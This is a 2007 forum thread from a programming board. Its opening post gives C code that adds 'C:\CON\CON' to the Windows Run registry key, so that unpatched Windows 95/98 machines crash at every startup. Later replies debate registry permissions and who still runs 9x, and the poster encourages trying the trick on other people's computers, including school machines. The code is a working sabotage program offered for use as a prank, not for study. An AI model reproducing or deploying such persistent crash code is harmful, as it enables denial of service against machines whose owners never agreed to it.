Adblock breaks this site

Force Windows 95/98 to crash on startup

Discussion in 'Programming General' started by Govind, Mar 18, 2007.

  1. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Force Windows 95/98 to crash on startup

    Code:
    [color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
    [color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         [color=blue]int[/color]       nCmdShow)
    {
     	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
    	HKEY KeyHandle;
    	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
    	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
    	[color=blue]return[/color] 0;
    }
    Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

    I've added syntax coloring.
     
  2. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Force Windows 95/98 to crash on startup

    Basically, it disables a startup service?
     
  3. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Force Windows 95/98 to crash on startup

    No, it adds C:\CON\CON to the startup registry.

    VFAT collapses whenever you try that on 95/98, which causes the whole OS to crash.
     
  4. cp

    cp an cat
    Banned

    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0
    Force Windows 95/98 to crash on startup

    Don't you need admin access to get into the registry? Properly set permissions will foil this.
     
  5. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Force Windows 95/98 to crash on startup

    You put too much faith in the intelligence of average Windows 9x users.
     
  6. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Force Windows 95/98 to crash on startup

    No one uses Windows 9x anymore, unless you are trying this in a cybercafe in Goa or Bombay, where they still do use Windows 9x :O
     
  7. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Force Windows 95/98 to crash on startup

    Actually some of the teacher computers at my school run Windows 98. There are some people still using Windows 9x domestically too.
     
  8. coach thorpe

    coach thorpe Guru
    Banned

    Joined:
    Dec 21, 2005
    Posts:
    1,621
    Referrals:
    3
    Sythe Gold:
    0
    Force Windows 95/98 to crash on startup

    I run 98 on all my work computers, there more stable.
     
  9. Govind

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus
    Force Windows 95/98 to crash on startup

    Try running C:\CON\CON on them and see if they've patched it already :D
     
  10. SidStudios

    SidStudios Active Member

    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0
    Force Windows 95/98 to crash on startup

    IMO Windows 2000 is better and more stable, because it runs on NTFS.
     
< 2 questions | Editing Text File >


 
 
Adblock breaks this site